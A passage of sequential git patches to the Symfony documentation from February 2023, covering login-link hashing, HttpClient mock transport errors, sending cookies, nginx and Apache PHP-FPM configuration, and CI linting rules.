@@ -673,6 +680,23 @@ user create this POST request (e.g. by clicking a button)::
         </form>
     {% endblock %}
 
+Hashing Strategy
+~~~~~~~~~~~~~~~~
+
+Internally, the :class:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandler`
+implementation uses the
+:class:`Symfony\\Component\\Security\\Core\\Signature\\SignatureHasher` to create the
+hash contained in the login link.
+
+This hasher creates a first hash with the expiration
+date of the link, the values of the configured signature properties and the
+user identifier. The used hashing algorithm is SHA-256.
+
+Once this first hash is processed and encoded in Base64, a new one is created
+from the first hash value and the ``kernel.secret`` container parameter. This
+allows Symfony to sign this final hash, which is contained in the login URL.
+The final hash is also a Base64 encoded SHA-256 hash.
+
 Customizing the Success Handler
 -------------------------------
 

From 8ea1d117d0a2316d033802f5e8e6d4678ae1d7d6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Feb 2023 06:23:44 +0100
Subject: [PATCH 2897/5766] DOCtor-RST: Ensure bash prompt before composer
 command

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 94d2470c6a7..209d697b25f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -11,6 +11,7 @@ rules:
     composer_dev_option_not_at_the_end: ~
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
+    ensure_bash_prompt_before_composer_command: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_link_definition_contains_valid_url: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 1be6d19ddf9..89f4938c6b5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.40.0
+                uses: docker://oskarstark/doctor-rst:1.40.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 48e10286e9b71ffcfc2c7811f02ee56ca454fa97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Feb 2023 17:15:07 +0100
Subject: [PATCH 2898/5766] Tweak

---
 configuration.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 0335ea6edb2..83b0cd331ee 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -629,6 +629,7 @@ This example shows how you could configure the application secret using an env v
                 http://symfony.com/schema/dic/symfony
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
+            <!-- by convention the env var names are always uppercase -->
             <framework:config secret="%env(APP_SECRET)%"/>
 
         </container>
@@ -640,6 +641,7 @@ This example shows how you could configure the application secret using an env v
 
         return static function (ContainerConfigurator $containerConfigurator) {
             $container->extension('framework', [
+                // by convention the env var names are always uppercase
                 'secret' => '%env(APP_SECRET)%',
             ]);
         };

From e6be0ebca66fbd2540bb4b5989a1468d7844b92d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 29 Jan 2023 10:08:33 +0100
Subject: [PATCH 2899/5766] [HttpClient] Allow yielding Exception from
 MockResponse's $body to mock transport errors

---
 http_client.rst | 55 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 55 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 360e9b3cfcc..1d61163ebb7 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1214,6 +1214,8 @@ response and get remaining contents that might come back in a new timeout, etc.
 
     Use the ``max_duration`` option to limit the time a full request/response can last.
 
+.. _http-client_network-errors:
+
 Dealing with Network Errors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1975,6 +1977,59 @@ test it in a real application::
         }
     }
 
+Simulate a Transport Exception
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When making HTTP requests, it sometimes occurs an error at transport level.
+You can find more information about transport errors it in the
+:ref:`Network Errors <http-client_network-errors>` section.
+
+It may be useful to test how your application behaves in case of a transport
+error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
+you to do so, by yielding the exception from its body::
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        // ...
+
+        public function testTransportLevelError(): void
+        {
+            $requestData = ['title' => 'Testing with Symfony HTTP Client'];
+            $httpClient = new MockHttpClient([
+                // You can create the exception directly in the body...
+                new MockResponse([new \RuntimeException('Error at transport level')]),
+
+                // ... or you can yield the exception from a callback
+                new MockResponse((static function (): \Generator {
+                       yield new TransportException('Error at transport level');
+                })()),
+            ]);
+
+            $service = new ExternalArticleService($httpClient);
+
+            try {
+                $service->createArticle($requestData);
+
+                // An exception should have been thrown in `createArticle()`, so this line should never be reached
+                $this->fail();
+            } catch (TransportException $e) {
+                $this->assertEquals(new \RuntimeException('Error at transport level'), $e->getPrevious());
+                $this->assertSame('Error at transport level', $e->getMessage());
+            }
+        }
+    }
+
+.. versionadded:: 6.1
+
+    Being allowed to pass an exception directly to the body of a
+    :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` was
+    introduced in Symfony 6.1.
+
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`Zlib PHP extension`: https://www.php.net/zlib
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/

From e804355f4e9876a826111a301fcea4d3c04d45c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Feb 2023 17:33:30 +0100
Subject: [PATCH 2900/5766] Tweaks

---
 http_client.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 1d61163ebb7..461ec17dfab 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1977,14 +1977,13 @@ test it in a real application::
         }
     }
 
-Simulate a Transport Exception
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Testing Network Transport Exceptions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When making HTTP requests, it sometimes occurs an error at transport level.
-You can find more information about transport errors it in the
-:ref:`Network Errors <http-client_network-errors>` section.
+As explained in the :ref:`Network Errors section <http-client_network-errors>`,
+when making HTTP requests you might face errors at transport level.
 
-It may be useful to test how your application behaves in case of a transport
+That's why it's useful to test how your application behaves in case of a transport
 error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
 you to do so, by yielding the exception from its body::
 

From a2d7f66fe51a22bdcddabe98ff6d3885af5b0176 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Feb 2023 17:59:39 +0100
Subject: [PATCH 2901/5766] Add a tip about signing Symfony server binary on
 macOS

---
 setup/symfony_server.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420001f742..f6e348d02a3 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -56,6 +56,18 @@ run the Symfony server in the background:
     # show the latest log messages
     $ symfony server:log
 
+.. tip::
+
+    On macOS, when starting the Symfony server you might see a warning dialog asking
+    _"Do you want the application to accept incoming network connections?"_.
+    This happens when running unsigned appplications that are not listed in the
+    firewall list. The solution is to run this command that signs the Symfony binary:
+
+    .. code-block:: terminal
+
+        # change the path to the location of your Symfony binary
+        $ sudo codesign --force --deep --sign - /opt/homebrew/Cellar/symfony-cli/5.4.21/bin/symfony
+
 Enabling PHP-FPM
 ----------------
 

From 23c4898cc7ea604e79492bcf3a5a94a95f1aa6b4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 9 Feb 2023 00:13:22 +0100
Subject: [PATCH 2902/5766] Upgrading PHP version to 8.1

Page: https://symfony.com/doc/current/setup.html

... since this is now the minimum required, according to https://symfony.com/doc/current/setup.html

Besides, I would suggest to move nginx **above** Apache, since it's more popular today, according to https://w3techs.com/technologies/history_overview/web_server/ms/y
---
 setup/web_server_configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 70abd214a42..ede373e1aa9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -177,7 +177,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php8.1-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -192,7 +192,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php8.1-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -290,7 +290,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php8.1-fpm.sock -pass-header Authorization
 
 .. _web-server-nginx:
 
@@ -318,7 +318,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 

From 40ed93728b0febf26ae2b9f2d9e908d2bb291d41 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 9 Feb 2023 08:38:57 +0100
Subject: [PATCH 2903/5766] minor

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 461ec17dfab..13d5196fd36 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2005,7 +2005,7 @@ you to do so, by yielding the exception from its body::
 
                 // ... or you can yield the exception from a callback
                 new MockResponse((static function (): \Generator {
-                       yield new TransportException('Error at transport level');
+                    yield new TransportException('Error at transport level');
                 })()),
             ]);
 

From ec1c6ef3e9b8208574e13d439b8c60d363d5dfd2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 9 Feb 2023 08:47:20 +0100
Subject: [PATCH 2904/5766] [PropertyInfo] Mention `list` pseudo type

---
 components/property_info.rst | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 7f20064fb69..1a60978a03e 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -332,6 +332,15 @@ available), via the :method:`Type::getCollectionKeyTypes() <Symfony\\Component\\
 and :method:`Type::getCollectionValueTypes() <Symfony\\Component\\PropertyInfo\\Type::getCollectionValueTypes>`
 methods.
 
+.. note::
+
+    The ``list`` pseudo type is returned by the PropertyInfo component as an
+    array with integer as the key type.
+
+.. versionadded:: 5.4
+
+    The support for the ``list`` pseudo type was introduced in Symfony 5.4.
+
 .. _`components-property-info-extractors`:
 
 Extractors
@@ -436,14 +445,14 @@ with the ``property_info`` service in the Symfony Framework::
 
     // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-   
+
 If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
 
 .. versionadded:: 5.2
 
-    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2. 
+    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2.
 
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~

From b1aff37cbed5e1c1af1496d8743a8ea37f309cf9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Feb 2023 11:57:54 +0100
Subject: [PATCH 2905/5766] [String] Minor tweak about the slugger and locales

---
 components/string.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/string.rst b/components/string.rst
index 17edd37d802..e4c4d9f0c8b 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -530,10 +530,11 @@ The slugger transliterates the original string into the Latin script before
 applying the other transformations. The locale of the original string is
 detected automatically, but you can define it explicitly::
 
-    // this tells the slugger to transliterate from Korean language
+    // this tells the slugger to transliterate from Korean ('ko') language
     $slugger = new AsciiSlugger('ko');
 
     // you can override the locale as the third optional parameter of slug()
+    // e.g. this slugger transliterates from Persian ('fa') language
     $slug = $slugger->slug('...', '-', 'fa');
 
 In a Symfony application, you don't need to create the slugger yourself. Thanks

From 7c1642c7dbb5229b9fc130df5abfadacf9a25343 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 9 Feb 2023 14:16:21 +0100
Subject: [PATCH 2906/5766] Moving nginx above Apache (second attempt)

As requested at https://github.com/symfony/symfony-docs/pull/17886#issuecomment-1424116541
---
 setup/web_server_configuration.rst | 180 ++++++++++++++---------------
 1 file changed, 90 insertions(+), 90 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 70abd214a42..ed00dd547c7 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -30,10 +30,98 @@ to use PHP :ref:`with Nginx <web-server-nginx>`.
     another location (e.g. ``public_html/``) make sure you
     :ref:`override the location of the public/ directory <override-web-dir>`.
 
+.. _web-server-nginx:
+
+Nginx
+-----
+
+The **minimum configuration** to get your application running under Nginx is:
+
+.. code-block:: nginx
+
+    server {
+        server_name domain.tld www.domain.tld;
+        root /var/www/project/public;
+
+        location / {
+            # try to serve file directly, fallback to index.php
+            try_files $uri /index.php$is_args$args;
+        }
+
+        # optionally disable falling back to PHP script for the asset directories;
+        # nginx will return a 404 error when files are not found instead of passing the
+        # request to Symfony (improves performance but Symfony's 404 page is not displayed)
+        # location /bundles {
+        #     try_files $uri =404;
+        # }
+
+        location ~ ^/index\.php(/|$) {
+            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_split_path_info ^(.+\.php)(/.*)$;
+            include fastcgi_params;
+
+            # optionally set the value of the environment variables used in the application
+            # fastcgi_param APP_ENV prod;
+            # fastcgi_param APP_SECRET <app-secret-id>;
+            # fastcgi_param DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name";
+
+            # When you are using symlinks to link the document root to the
+            # current version of your application, you should pass the real
+            # application path instead of the path to the symlink to PHP
+            # FPM.
+            # Otherwise, PHP's OPcache may not properly detect changes to
+            # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
+            # for more information).
+            # Caveat: When PHP-FPM is hosted on a different machine from nginx
+            #         $realpath_root may not resolve as you expect! In this case try using
+            #         $document_root instead.
+            fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
+            fastcgi_param DOCUMENT_ROOT $realpath_root;
+            # Prevents URIs that include the front controller. This will 404:
+            # http://domain.tld/index.php/some-path
+            # Remove the internal directive to allow URIs like this
+            internal;
+        }
+
+        # return 404 for all other php files not matching the front controller
+        # this prevents access to other php files you don't want to be accessible.
+        location ~ \.php$ {
+            return 404;
+        }
+
+        error_log /var/log/nginx/project_error.log;
+        access_log /var/log/nginx/project_access.log;
+    }
+
+.. tip::
+
+    If you use NGINX Unit, check out the official article about
+    `How to run Symfony applications using NGINX Unit`_.
+
+.. note::
+
+    Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
+    ``fastcgi_pass 127.0.0.1:9000``.
+
+.. tip::
+
+    This executes **only** ``index.php`` in the public directory. All other files
+    ending in ".php" will be denied.
+
+    If you have other PHP files in your public directory that need to be executed,
+    be sure to include them in the ``location`` block above.
+
+.. caution::
+
+    After you deploy to production, make sure that you **cannot** access the ``index.php``
+    script (i.e. ``http://example.com/index.php``).
+
+For advanced Nginx configuration options, read the official `Nginx documentation`_.
+
 .. _web-server-apache-mod-php:
 
-Adding Rewrite Rules
---------------------
+Adding Rewrite Rules for Apache
+-------------------------------
 
 The easiest way is to install the ``apache`` :ref:`Symfony pack <symfony-packs>`
 by executing the following command:
@@ -292,94 +380,6 @@ instead:
 
     FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
 
-.. _web-server-nginx:
-
-Nginx
------
-
-The **minimum configuration** to get your application running under Nginx is:
-
-.. code-block:: nginx
-
-    server {
-        server_name domain.tld www.domain.tld;
-        root /var/www/project/public;
-
-        location / {
-            # try to serve file directly, fallback to index.php
-            try_files $uri /index.php$is_args$args;
-        }
-
-        # optionally disable falling back to PHP script for the asset directories;
-        # nginx will return a 404 error when files are not found instead of passing the
-        # request to Symfony (improves performance but Symfony's 404 page is not displayed)
-        # location /bundles {
-        #     try_files $uri =404;
-        # }
-
-        location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
-            fastcgi_split_path_info ^(.+\.php)(/.*)$;
-            include fastcgi_params;
-
-            # optionally set the value of the environment variables used in the application
-            # fastcgi_param APP_ENV prod;
-            # fastcgi_param APP_SECRET <app-secret-id>;
-            # fastcgi_param DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name";
-
-            # When you are using symlinks to link the document root to the
-            # current version of your application, you should pass the real
-            # application path instead of the path to the symlink to PHP
-            # FPM.
-            # Otherwise, PHP's OPcache may not properly detect changes to
-            # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126
-            # for more information).
-            # Caveat: When PHP-FPM is hosted on a different machine from nginx
-            #         $realpath_root may not resolve as you expect! In this case try using
-            #         $document_root instead.
-            fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name;
-            fastcgi_param DOCUMENT_ROOT $realpath_root;
-            # Prevents URIs that include the front controller. This will 404:
-            # http://domain.tld/index.php/some-path
-            # Remove the internal directive to allow URIs like this
-            internal;
-        }
-
-        # return 404 for all other php files not matching the front controller
-        # this prevents access to other php files you don't want to be accessible.
-        location ~ \.php$ {
-            return 404;
-        }
-
-        error_log /var/log/nginx/project_error.log;
-        access_log /var/log/nginx/project_access.log;
-    }
-
-.. tip::
-
-    If you use NGINX Unit, check out the official article about
-    `How to run Symfony applications using NGINX Unit`_.
-
-.. note::
-
-    Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
-    ``fastcgi_pass 127.0.0.1:9000``.
-
-.. tip::
-
-    This executes **only** ``index.php`` in the public directory. All other files
-    ending in ".php" will be denied.
-
-    If you have other PHP files in your public directory that need to be executed,
-    be sure to include them in the ``location`` block above.
-
-.. caution::
-
-    After you deploy to production, make sure that you **cannot** access the ``index.php``
-    script (i.e. ``http://example.com/index.php``).
-
-For advanced Nginx configuration options, read the official `Nginx documentation`_.
-
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
 .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/

From 0f6b353112318f7b83cbffbaa6de9dd88df147c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 10 Feb 2023 09:13:21 +0100
Subject: [PATCH 2907/5766] [HttpClient][BrowserKit] Add examples to set
 cookies in the request

---
 components/browser_kit.rst | 19 +++++++++++++++++++
 http_client.rst            | 15 +++++++++++++++
 2 files changed, 34 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 0d1f774e845..68ea04929d1 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -288,6 +288,25 @@ into the client constructor::
     $client = new Client([], null, $cookieJar);
     // ...
 
+Sending Cookies
+~~~~~~~~~~~~~~~
+
+By setting the ``Cookie`` header value, you are able to send cookies with your
+request thanks to the ``serverParameters`` argument of the
+:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method::
+
+    $client->request('GET', '/', [], [], [
+        'HTTP_COOKIE' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+
+        // you're also able to pass a string instead
+        'HTTP_COOKIE' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+    ]);
+
+.. note::
+
+    All HTTP headers set with the ``serverParameters`` argument must be
+    prefixed by ``HTTP_``.
+
 History
 -------
 
diff --git a/http_client.rst b/http_client.rst
index a94587a966e..763f5fed4bb 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -686,6 +686,21 @@ You can either handle cookies yourself using the ``Cookie`` HTTP header or use
 the :doc:`BrowserKit component </components/browser_kit>` which provides this
 feature and integrates seamlessly with the HttpClient component.
 
+However, you're able to send cookies in your request. This is how you can do
+so using :class:`Symfony\\Contracts\\HttpClient\\HttpClient`::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpFoundation\Cookie;
+
+    $client = HttpClient::create([
+        'headers' => [
+            'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
+
+            // you're also able to pass a string instead
+            'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
+        ],
+    ]);
+
 Redirects
 ~~~~~~~~~
 

From 8440c9e155231f712dfbc0cde5dff834fdb56e53 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 10 Feb 2023 15:50:36 +0100
Subject: [PATCH 2908/5766] Switching to PHP-version-agnostic socket file

Page: https://symfony.com/doc/5.4/setup/web_server_configuration.html

This makes upgrading to a new PHP version so much easier (I just did that). If the PHP version is hardcoded in every domain's config file, it's a hassle to update them.

On the other hand: `/var/run/php/php-fpm.sock` is a symlink to the most recently installed PHP version, so this is what most people want probably.

I hope this doesn't interfere with the change I did in https://github.com/symfony/symfony-docs/pull/17882 on the 6.2 branch.
---
 setup/web_server_configuration.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index ed00dd547c7..d29b4a03c92 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -56,7 +56,7 @@ The **minimum configuration** to get your application running under Nginx is:
         # }
 
         location ~ ^/index\.php(/|$) {
-            fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+            fastcgi_pass unix:/var/run/php/php-fpm.sock;
             fastcgi_split_path_info ^(.+\.php)(/.*)$;
             include fastcgi_params;
 
@@ -265,7 +265,7 @@ Apache with PHP-FPM
 To make use of PHP-FPM with Apache, you first have to ensure that you have
 the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module
 installed (for example, on a Debian based system you have to install the
-``libapache2-mod-fastcgi`` and ``php7.4-fpm`` packages).
+``libapache2-mod-fastcgi`` and ``php<version>-fpm`` packages).
 
 PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can
 configure an arbitrary number of pools in the FPM configuration. In a pool
@@ -280,7 +280,7 @@ listen on. Each pool can also be run under a different UID and GID:
     group = www-data
 
     ; use a unix domain socket
-    listen = /var/run/php/php7.4-fpm.sock
+    listen = /var/run/php/php-fpm.sock
 
     ; or listen on a TCP socket
     listen = 127.0.0.1:9000
@@ -378,7 +378,7 @@ instead:
 
 .. code-block:: apache
 
-    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.4-fpm.sock -pass-header Authorization
+    FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php-fpm.sock -pass-header Authorization
 
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer

From bf53b5c3d7632296838171a208bb12d6a5aeea5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Feb 2023 16:00:33 +0100
Subject: [PATCH 2909/5766] Tweaks

---
 components/browser_kit.rst | 10 ++++++----
 http_client.rst            | 11 ++++-------
 2 files changed, 10 insertions(+), 11 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 68ea04929d1..f2c30cb8968 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -288,17 +288,19 @@ into the client constructor::
     $client = new Client([], null, $cookieJar);
     // ...
 
+.. _component-browserkit-sending-cookies:
+
 Sending Cookies
 ~~~~~~~~~~~~~~~
 
-By setting the ``Cookie`` header value, you are able to send cookies with your
-request thanks to the ``serverParameters`` argument of the
-:method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method::
+Requests can include cookies. To do so, use the ``serverParameters`` argument of
+the :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::request` method
+to set the ``Cookie`` header value::
 
     $client->request('GET', '/', [], [], [
         'HTTP_COOKIE' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
 
-        // you're also able to pass a string instead
+        // you can also pass the cookie contents as a string
         'HTTP_COOKIE' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
     ]);
 
diff --git a/http_client.rst b/http_client.rst
index 763f5fed4bb..aabebe87ac9 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -682,12 +682,9 @@ requires a stateful storage (because responses can update cookies and they must
 be used for subsequent requests). That's why this component doesn't handle
 cookies automatically.
 
-You can either handle cookies yourself using the ``Cookie`` HTTP header or use
-the :doc:`BrowserKit component </components/browser_kit>` which provides this
-feature and integrates seamlessly with the HttpClient component.
-
-However, you're able to send cookies in your request. This is how you can do
-so using :class:`Symfony\\Contracts\\HttpClient\\HttpClient`::
+You can either :ref:`send cookies with the BrowserKit component <component-browserkit-sending-cookies>`,
+which integrates seamlessly with the HttpClient component, or manually setting
+the ``Cookie`` HTTP header as follows::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpFoundation\Cookie;
@@ -696,7 +693,7 @@ so using :class:`Symfony\\Contracts\\HttpClient\\HttpClient`::
         'headers' => [
             'Cookie' => new Cookie('flavor', 'chocolate', strtotime('+1 day')),
 
-            // you're also able to pass a string instead
+            // you can also pass the cookie contents as a string
             'Cookie' => 'flavor=chocolate; expires=Sat, 11 Feb 2023 12:18:13 GMT; Max-Age=86400; path=/'
         ],
     ]);

From d0aa81404906c657bf2fde736f97e6ecea82f1d2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Feb 2023 16:24:34 +0100
Subject: [PATCH 2910/5766] [ExpressionLanguage] Mention the
 validator.expression_language service

---
 components/expression_language.rst   | 6 +++++-
 reference/constraints/Expression.rst | 6 ++++++
 2 files changed, 11 insertions(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index f5551a093cd..41937ce4b0e 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -19,7 +19,11 @@ Installation
 .. include:: /components/require_autoload.rst.inc
 
 How can the Expression Engine Help Me?
---------------------------------------
+
+.. _how-can-the-expression-engine-help-me:
+
+How can the Expression Language Help Me?
+----------------------------------------
 
 The purpose of the component is to allow users to use expressions inside
 configuration for more complex logic. For some examples, the Symfony Framework
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index f9e47cf7fd9..af44d48e70e 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -250,6 +250,12 @@ For more information about the expression and what variables are available
 to you, see the :ref:`expression <reference-constraint-expression-option>`
 option details below.
 
+.. tip::
+
+    Internally, this expression validator constraint uses a service called
+    ``validator.expression_language`` to evaluate the expressions. You can
+    decorate or extend that service to fit your own needs.
+
 Options
 -------
 

From 6f0ec37b112a953af8d386d3f1bdb525947fd82f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 10 Feb 2023 17:33:32 +0100
Subject: [PATCH 2911/5766] Adding backticks

---
 setup/web_server_configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index d29b4a03c92..f17e635e9fd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -16,9 +16,9 @@ When using Apache, you can configure PHP as an
 :ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way
 to use PHP :ref:`with Nginx <web-server-nginx>`.
 
-.. sidebar:: The public directory
+.. sidebar:: The ``public`` directory
 
-    The public directory is the home of all of your application's public and
+    The ``public`` directory is the home of all of your application's public and
     static files, including images, stylesheets and JavaScript files. It is
     also where the front controller (``index.php``) lives.
 

From de2fc327a0e30a517a39542ef533aa4570246b31 Mon Sep 17 00:00:00 2001
